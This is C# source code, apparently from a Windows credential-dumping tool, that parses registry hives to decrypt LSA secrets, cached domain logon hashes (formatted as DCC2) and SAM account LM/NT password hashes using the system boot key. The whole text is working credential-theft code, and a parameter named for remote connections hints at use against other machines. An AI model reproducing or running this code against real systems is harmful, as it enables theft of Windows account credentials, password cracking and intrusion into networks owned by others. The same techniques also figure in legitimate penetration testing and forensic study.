private void ParseChildNodes(BinaryReader hive) { int count = hive.ReadInt16(); long topOfList = hive.BaseStream.Position; for (int i = 0; i < count; i++) { hive.BaseStream.Position = topOfList + (i * 8); int newoffset = hive.ReadInt32(); hive.BaseStream.Position += 4; //byte[] check = hive.ReadBytes(4); hive.BaseStream.Position = 4096 + newoffset + 4; NodeKey nk = new NodeKey(hive) { ParentNodeKey = this }; this.ChildNodes.Add(nk); } hive.BaseStream.Position = topOfList + (count * 8); }
private static List <string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection) { List <string> retVal = new List <string>(); try { byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data; LsaSecret record = new LsaSecret(fVal); byte[] dataVal = record.data.Take(32).ToArray(); byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray(); //get NLKM Secret byte[] nlkmKey = null; NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM"); if (nlkm != null) { retVal.Add("[*] Cached domain logon information(domain/username:hash)"); nlkmKey = DumpSecret(nlkm, decryptedLsaKey); foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues) { if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray())) { NL_Record cachedUser = new NL_Record(cachedLogin.Data); byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); byte[] hashedPW = plaintext.Take(16).ToArray(); string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); domain = domain.Replace("\0", ""); retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower())); } } } try { retVal.Add("[*] LSA Secrets"); foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes) { if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) { if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) { LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey)); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } else { LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } } } } catch { retVal.Add("[X] No secrets to parse"); } } catch (Exception e) { retVal.Add("[X] Error parsing SECURITY dump file: " + e.ToString()); } return(retVal); }
private static List <string> ParseSam(byte[] bootKey, RegistryHive sam) { List <string> retVal = new List <string> { "[*] SAM hashes" }; try { NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account"); byte[] fVal = nk.getChildValues("F"); byte[] hashedBootKey = GetHashedBootKey(bootKey, fVal); NodeKey targetNode = nk.ChildNodes.Find(x => x.Name.Contains("Users")); byte[] antpassword = Encoding.ASCII.GetBytes("NTPASSWORD\0"); byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0"); foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000"))) { byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber)); byte[] v = user.getChildValues("V"); int offset = BitConverter.ToInt32(v, 12) + 204; int length = BitConverter.ToInt32(v, 16); string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray()); //there are 204 bytes of headers / flags prior to data in the encrypted key data structure int lmHashOffset = BitConverter.ToInt32(v, 156) + 204; int lmHashLength = BitConverter.ToInt32(v, 160); int ntHashOffset = BitConverter.ToInt32(v, 168) + 204; int ntHashLength = BitConverter.ToInt32(v, 172); string lmHash = "aad3b435b51404eeaad3b435b51404ee"; string ntHash = "31d6cfe0d16ae931b73c59d7e0c089c0"; //old style hashes if (v[ntHashOffset + 2].Equals(0x01)) { IEnumerable <byte> lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword); byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray()); IEnumerable <byte> ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword); byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray()); byte[] encryptedLmHash = null; byte[] encryptedNtHash = null; if (ntHashLength == 20) { encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray(); byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash); ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", ""); } if (lmHashLength == 20) { encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray(); byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash); lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", ""); } } //new-style hashes else { byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray(); byte[] lmData = enc_LM_Hash.Skip(24).ToArray(); //if a hash exists, otherwise we have to return the default string val if (lmData.Length > 0) { byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray(); byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray(); lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); } byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray(); byte[] ntData = enc_NT_Hash.Skip(24).ToArray(); //if a hash exists, otherwise we have to return the default string val if (ntData.Length > 0) { byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray(); byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray(); ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", ""); } } string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString(); string hashes = (lmHash + ":" + ntHash); retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower())); } } catch (Exception e) { retVal.Add("[X] Error parsing SAM dump file: " + e.ToString()); } return(retVal); }